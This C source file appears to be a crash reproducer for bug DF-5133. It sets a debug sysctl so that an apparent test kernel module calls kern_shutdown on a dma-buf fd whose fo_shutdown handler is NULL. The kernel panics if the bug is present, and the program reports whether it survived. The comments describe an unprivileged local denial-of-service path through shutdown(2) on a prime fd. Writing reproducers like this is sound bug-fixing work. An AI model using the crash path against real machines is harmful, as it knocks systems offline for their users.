/*
 * panic_trigger.c -- userland PoC for DF-5133
 * (dmabuf_fileops in sys/dev/drm/linux_dma-buf.c leaves fo_shutdown NULL;
 *  kern_shutdown() has no file-type check -> call *0 -> panic).
 *
 * Run as an UNPRIVILEGED user. hw.dmabug.panic is CTLFLAG_ANYBODY; the
 * kmod creates a genuine dma-buf fd in OUR fd table and calls
 * kern_shutdown(fd, SHUT_RDWR) -- byte-for-byte the same syscall path an
 * unprivileged user hits with shutdown(2) on a prime fd.
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <unistd.h>

int
main(void)
{
	int v = 1;
	size_t l = sizeof(v);

	printf("[panic_trigger] uid=%d firing hw.dmabug.panic: "
		"kern_shutdown(dmabuf_fd, SHUT_RDWR) with "
		"dmabuf_fileops.fo_shutdown == NULL\n", getuid());
	fflush(stdout);
	if (sysctlbyname("hw.dmabug.panic", &v, &l, NULL, 0) != 0) {
		perror("hw.dmabug.panic");
		return 1;
	}
	printf("[panic_trigger] shutdown() returned %d -- kernel survived "
		"(fo_shutdown present / fixed)\n", v);
	return 0;
}